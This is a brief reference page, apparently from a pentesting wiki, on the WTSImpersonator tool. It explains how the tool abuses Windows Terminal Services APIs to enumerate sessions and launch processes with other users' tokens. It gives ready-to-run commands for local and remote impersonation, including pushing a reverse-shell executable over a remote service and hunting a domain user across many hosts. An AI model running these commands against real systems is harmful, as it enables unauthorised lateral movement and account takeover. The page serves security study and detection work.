WTS Impersonator

WTSImpersonator, by Omri Baso, uses Windows Terminal Services APIs exposed through the \\pipe\LSM_API_service RPC named pipe to enumerate logged-on sessions and start a process with a selected user’s token. It supports local enumeration and execution as well as remote service-based workflows.^[1]

Core functionality

Its local execution flow uses the following API sequence:^[1][2]

WTSEnumerateSessionsA → WTSQuerySessionInformationA → WTSQueryUserToken → CreateProcessAsUserW

Modules and usage

• Enumerate users: The tool can enumerate sessions on the local or a remote host.

  • Locally:

    .\WTSImpersonator.exe -m enum

  • Remotely, specify an IP address or hostname:

    .\WTSImpersonator.exe -m enum -s 192.168.40.131

• Execute commands: The exec and exec-remote modules need a service context. Microsoft documents that WTSQueryUserToken requires the caller to run as LocalSystem with the SE_TCB_NAME privilege.^[2]

  • Local command execution:

    .\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe

  • PsExec can start a LocalSystem command prompt for testing:

    .\PsExec64.exe -accepteula -s cmd.exe

• Remote command execution: The remote mode creates a service on the target in a PsExec-like workflow and therefore requires rights to install and start that service.^[1]

  • Example:

    .\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2

• User hunting: The user-hunter module searches a host list for a named user’s session and attempts to execute the supplied program in that context.^[1]

  • Usage example:

    .\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe

References

• [1] OmriBaso/WTSImpersonator
• [2] Microsoft: WTSQueryUserToken function